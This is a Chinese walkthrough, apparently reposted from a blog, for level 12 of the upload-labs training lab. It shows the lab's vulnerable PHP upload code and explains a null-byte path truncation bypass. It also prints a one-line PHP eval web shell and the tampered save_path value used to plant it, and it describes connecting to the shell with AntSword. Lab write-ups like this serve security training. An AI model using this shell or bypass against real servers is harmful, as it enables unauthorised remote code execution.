欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 八卦 > upload-labs第十二关教程

upload-labs第十二关教程

2025/6/17 20:25:02 来源:https://blog.csdn.net/m0_73528952/article/details/139670906  浏览:    关键词:upload-labs第十二关教程

upload-labs第十二关教程

  • 一、源代码分析
    • 代码审计
  • 二、绕过分析
    • 截断绕过
      • magic_quotes_gpc函数介绍
      • 关闭magic_quotes_gpc
      • 上传eval.png文件
      • 使用burpsuite进行抓包修改
      • 放包,查看是否上传成功
      • 使用中国蚁剑进行连接

一、源代码分析

代码审计

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}

这里为get请求传递文件路径到服务器,然后这里strrpos() 函数查找字符串在另一字符串中最后一次出现的位置,是后缀名白名单,截取后缀名并随机命名拼接,然后还有对$_GET[‘save_path’]可控。

二、绕过分析

截断绕过

要求:php版本<5.3.29,且magic_quotes_gpc = Off,修改php.ini文件,将magic_quotes_gpc 设置为off

magic_quotes_gpc函数介绍

在PHP中作用是判断解析用户提示的数据,包括post/get/cookie过来的数据增加转义字符"\",以确保这些数据不会引起程序出现致命错误。
在magic_quotes_gpc=on的情况下,如果输入数据有单引号/双引号/反斜线/null字符等,都会被加上反斜线。

关闭magic_quotes_gpc

在php.ini文件内将magic_quotes_gpc改为Off
在这里插入图片描述

上传eval.png文件

<? @eval($_POST['cmd']); ?>

这里直接把eval.php改为eval.png就行了,因为这里没有请求头进行检测,所以可以这样

使用burpsuite进行抓包修改

由于对于save_path可控,所以在这里进行截断操作。
修改之前:
在这里插入图片描述
这里的save_path=../upload/
修改之后:
在这里插入图片描述

这里的save_path=../upload/eval.php%00

放包,查看是否上传成功

在这里插入图片描述
在这里插入图片描述

上传成功。这里虽然显示的是上传的是图片,其实是被截断。使用中国蚁剑时连接eval.php就行了。
在这里插入图片描述

使用中国蚁剑进行连接

在这里插入图片描述

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词